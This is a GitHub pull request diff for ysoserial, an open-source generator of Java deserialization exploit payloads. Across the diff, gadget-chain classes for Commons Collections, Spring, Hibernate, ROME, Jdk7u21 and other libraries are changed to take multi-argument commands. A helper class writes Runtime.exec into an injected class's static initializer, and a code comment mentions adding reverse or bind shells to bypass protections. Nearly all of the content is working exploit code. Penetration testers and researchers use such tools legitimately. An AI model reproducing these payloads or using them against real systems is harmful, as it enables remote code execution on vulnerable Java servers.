Skip to content

Add arguments support for many payloads #72

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 9 commits into from
Sep 23, 2017
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 16 additions & 4 deletions src/main/java/ysoserial/GeneratePayload.java
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@
import java.io.PrintStream;
import java.util.*;

import ysoserial.payloads.ExtendedObjectPayload;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.annotation.Authors;
Expand All @@ -14,12 +15,12 @@ public class GeneratePayload {
private static final int USAGE_CODE = 64;

public static void main(final String[] args) {
if (args.length != 2) {
if (args.length < 2) {
printUsage();
System.exit(USAGE_CODE);
}
final String payloadType = args[0];
final String command = args[1];
final String[] command = Arrays.copyOfRange(args, 1, args.length);

final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
Expand All @@ -31,7 +32,18 @@ public static void main(final String[] args) {

try {
final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command);
final Object object;
if (payload instanceof ExtendedObjectPayload) {
ExtendedObjectPayload extended_payload = (ExtendedObjectPayload) payload;
object = extended_payload.getObject(command);
}
else {
if (command.length > 1) {
System.err.println("The payload '" + payloadType + "' does not support arguments");
}
object = payload.getObject(command[0]);
}

PrintStream out = System.out;
Serializer.serialize(object, out);
ObjectPayload.Utils.releasePayload(payload, object);
Expand All @@ -45,7 +57,7 @@ public static void main(final String[] args) {

private static void printUsage() {
System.err.println("Y SO SERIAL?");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar payload [arguments ...]");
System.err.println(" Available payload types:");

final List<Class<? extends ObjectPayload>> payloadClasses =
Expand Down
6 changes: 4 additions & 2 deletions src/main/java/ysoserial/Strings.java
Original file line number Diff line number Diff line change
@@ -1,7 +1,5 @@
package ysoserial;

import org.apache.commons.lang.StringUtils;

import java.util.Arrays;
import java.util.Comparator;
import java.util.LinkedList;
Expand All @@ -21,6 +19,10 @@ public static String join(Iterable<String> strings, String sep, String prefix, S
return sb.toString();
}

public static String join(Iterable<String> strings, String sep) {
return Strings.join(strings, sep, null, null);
}

public static String repeat(String str, int num) {
final String[] strs = new String[num];
Arrays.fill(strs, str);
Expand Down
4 changes: 2 additions & 2 deletions src/main/java/ysoserial/payloads/CommonsBeanutils1.java
Original file line number Diff line number Diff line change
Expand Up @@ -14,9 +14,9 @@
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({ Authors.FROHOFF })
public class CommonsBeanutils1 implements ObjectPayload<Object> {
public class CommonsBeanutils1 extends ExtendedObjectPayload<Object> {

public Object getObject(final String command) throws Exception {
public Object getObject(final String[] command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
Expand Down
4 changes: 2 additions & 2 deletions src/main/java/ysoserial/payloads/CommonsCollections2.java
Original file line number Diff line number Diff line change
Expand Up @@ -27,9 +27,9 @@
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
@Authors({ Authors.FROHOFF })
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public class CommonsCollections2 extends ExtendedObjectPayload<Queue<Object>> {

public Queue<Object> getObject(final String command) throws Exception {
public Queue<Object> getObject(final String[] command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
Expand Down
4 changes: 2 additions & 2 deletions src/main/java/ysoserial/payloads/CommonsCollections3.java
Original file line number Diff line number Diff line change
Expand Up @@ -30,9 +30,9 @@
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
public class CommonsCollections3 extends ExtendedObjectPayload<Object> {

public Object getObject(final String command) throws Exception {
public Object getObject(final String[] command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);

// inert chain for setup
Expand Down
4 changes: 2 additions & 2 deletions src/main/java/ysoserial/payloads/CommonsCollections4.java
Original file line number Diff line number Diff line change
Expand Up @@ -26,9 +26,9 @@
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
public class CommonsCollections4 extends ExtendedObjectPayload<Queue<Object>> {

public Queue<Object> getObject(final String command) throws Exception {
public Queue<Object> getObject(final String[] command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);

ConstantTransformer constant = new ConstantTransformer(String.class);
Expand Down
6 changes: 3 additions & 3 deletions src/main/java/ysoserial/payloads/CommonsCollections5.java
Original file line number Diff line number Diff line change
Expand Up @@ -54,10 +54,10 @@
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public class CommonsCollections5 extends ExtendedObjectPayload<BadAttributeValueExpException> {

public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
public BadAttributeValueExpException getObject(final String[] command) throws Exception {
final String[] execArgs = command.clone();
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
Expand Down
7 changes: 3 additions & 4 deletions src/main/java/ysoserial/payloads/CommonsCollections6.java
Original file line number Diff line number Diff line change
Expand Up @@ -35,11 +35,10 @@
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER })
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {
public class CommonsCollections6 extends ExtendedObjectPayload<Serializable> {

public Serializable getObject(final String command) throws Exception {

final String[] execArgs = new String[] { command };
public Serializable getObject(final String[] command) throws Exception {
final String[] execArgs = command.clone();

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
Expand Down
24 changes: 24 additions & 0 deletions src/main/java/ysoserial/payloads/ExtendedObjectPayload.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
package ysoserial.payloads;

import java.util.LinkedList;
import java.util.List;
import java.util.StringTokenizer;

public abstract class ExtendedObjectPayload<T> implements ObjectPayload<T> {
abstract public T getObject(String[] command) throws Exception;

/**
* Method to keep backward compatibility with ObjectPayload
* using StringTokenizer used in java.lang.Runtime.exec(String)
*/
@Override
public T getObject(String command) throws Exception {
final StringTokenizer tokenizer = new StringTokenizer(command);
final List<String> commandTokenized = new LinkedList<String>();
while (tokenizer.hasMoreTokens()) {
commandTokenized.add(tokenizer.nextToken());
}
final String[] commandTokenizedArray= commandTokenized.toArray(new String[0]);
return this.getObject(commandTokenizedArray);
}
}
4 changes: 2 additions & 2 deletions src/main/java/ysoserial/payloads/Hibernate1.java
Original file line number Diff line number Diff line change
Expand Up @@ -37,7 +37,7 @@
* @author mbechler
*/
@Authors({ Authors.MBECHLER })
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
public class Hibernate1 extends ExtendedObjectPayload<Object> implements DynamicDependencies {

public static String[] getDependencies () {
if ( System.getProperty("hibernate5") != null ) {
Expand Down Expand Up @@ -96,7 +96,7 @@ public static Object makeHibernate5Getter ( Class<?> tplClass, String method ) t
}


public Object getObject ( String command ) throws Exception {
public Object getObject ( String[] command ) throws Exception {
Object tpl = Gadgets.createTemplatesImpl(command);
Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
return makeCaller(tpl, getters);
Expand Down
4 changes: 2 additions & 2 deletions src/main/java/ysoserial/payloads/JBossInterceptors1.java
Original file line number Diff line number Diff line change
Expand Up @@ -30,9 +30,9 @@
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
@Authors({ Authors.MATTHIASKAISER })
public class JBossInterceptors1 implements ObjectPayload<Object> {
public class JBossInterceptors1 extends ExtendedObjectPayload<Object> {

public Object getObject(final String command) throws Exception {
public Object getObject(final String[] command) throws Exception {

final Object gadget = Gadgets.createTemplatesImpl(command);

Expand Down
4 changes: 2 additions & 2 deletions src/main/java/ysoserial/payloads/JSON1.java
Original file line number Diff line number Diff line change
Expand Up @@ -66,9 +66,9 @@
"net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2",
"org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" })
@Authors({ Authors.MBECHLER })
public class JSON1 implements ObjectPayload<Object> {
public class JSON1 extends ExtendedObjectPayload<Object> {

public Map getObject ( String command ) throws Exception {
public Map getObject ( String[] command ) throws Exception {
return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class);
}

Expand Down
4 changes: 2 additions & 2 deletions src/main/java/ysoserial/payloads/JavassistWeld1.java
Original file line number Diff line number Diff line change
Expand Up @@ -30,9 +30,9 @@
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
@Authors({ Authors.MATTHIASKAISER })
public class JavassistWeld1 implements ObjectPayload<Object> {
public class JavassistWeld1 extends ExtendedObjectPayload<Object> {

public Object getObject(final String command) throws Exception {
public Object getObject(final String[] command) throws Exception {

final Object gadget = Gadgets.createTemplatesImpl(command);

Expand Down
4 changes: 2 additions & 2 deletions src/main/java/ysoserial/payloads/Jdk7u21.java
Original file line number Diff line number Diff line change
Expand Up @@ -57,9 +57,9 @@
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({ Authors.FROHOFF })
public class Jdk7u21 implements ObjectPayload<Object> {
public class Jdk7u21 extends ExtendedObjectPayload<Object> {

public Object getObject(final String command) throws Exception {
public Object getObject(final String[] command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);

String zeroHashCodeStr = "f5a5a608";
Expand Down
4 changes: 2 additions & 2 deletions src/main/java/ysoserial/payloads/MozillaRhino1.java
Original file line number Diff line number Diff line change
Expand Up @@ -21,9 +21,9 @@
@PayloadTest( precondition = "isApplicableJavaVersion")
@Dependencies({"rhino:js:1.7R2"})
@Authors({ Authors.MATTHIASKAISER })
public class MozillaRhino1 implements ObjectPayload<Object> {
public class MozillaRhino1 extends ExtendedObjectPayload<Object> {

public Object getObject(final String command) throws Exception {
public Object getObject(final String[] command) throws Exception {

Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
Expand Down
4 changes: 2 additions & 2 deletions src/main/java/ysoserial/payloads/ROME.java
Original file line number Diff line number Diff line change
Expand Up @@ -30,9 +30,9 @@
*/
@Dependencies("rome:rome:1.0")
@Authors({ Authors.MBECHLER })
public class ROME implements ObjectPayload<Object> {
public class ROME extends ExtendedObjectPayload<Object> {

public Object getObject ( String command ) throws Exception {
public Object getObject ( String[] command ) throws Exception {
Object o = Gadgets.createTemplatesImpl(command);
ObjectBean delegate = new ObjectBean(Templates.class, o);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
Expand Down
4 changes: 2 additions & 2 deletions src/main/java/ysoserial/payloads/Spring1.java
Original file line number Diff line number Diff line change
Expand Up @@ -51,9 +51,9 @@
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
@Authors({ Authors.FROHOFF })
public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
public class Spring1 extends ExtendedObjectPayload<Object> {

public Object getObject(final String command) throws Exception {
public Object getObject(final String[] command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);

final ObjectFactory objectFactoryProxy =
Expand Down
4 changes: 2 additions & 2 deletions src/main/java/ysoserial/payloads/Spring2.java
Original file line number Diff line number Diff line change
Expand Up @@ -43,9 +43,9 @@
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2"
} )
@Authors({ Authors.MBECHLER })
public class Spring2 extends PayloadRunner implements ObjectPayload<Object> {
public class Spring2 extends ExtendedObjectPayload<Object> {

public Object getObject ( final String command ) throws Exception {
public Object getObject ( final String[] command ) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);

AdvisedSupport as = new AdvisedSupport();
Expand Down
17 changes: 12 additions & 5 deletions src/main/java/ysoserial/payloads/util/Gadgets.java
Original file line number Diff line number Diff line change
Expand Up @@ -10,11 +10,15 @@
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import ysoserial.Strings;
import ysoserial.translate.JavaEscaper;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
Expand Down Expand Up @@ -89,7 +93,7 @@ public static Map<String, Object> createMap ( final String key, final Object val
}


public static Object createTemplatesImpl ( final String command ) throws Exception {
public static Object createTemplatesImpl ( final String command[] ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Expand All @@ -102,7 +106,7 @@ public static Object createTemplatesImpl ( final String command ) throws Excepti
}


public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
public static <T> T createTemplatesImpl ( final String command[], Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();

Expand All @@ -113,9 +117,12 @@ public static <T> T createTemplatesImpl ( final String command, Class<T> tplClas
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
final List<String> escapedParams = new LinkedList<String>();
for (String param : command) {
escapedParams.add("\"" + JavaEscaper.escapeJava(param) + "\"");
}
String cmd = "java.lang.Runtime.getRuntime().exec(new String[] {" + Strings.join(escapedParams, ", ") + "});";

clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
Expand Down
Loading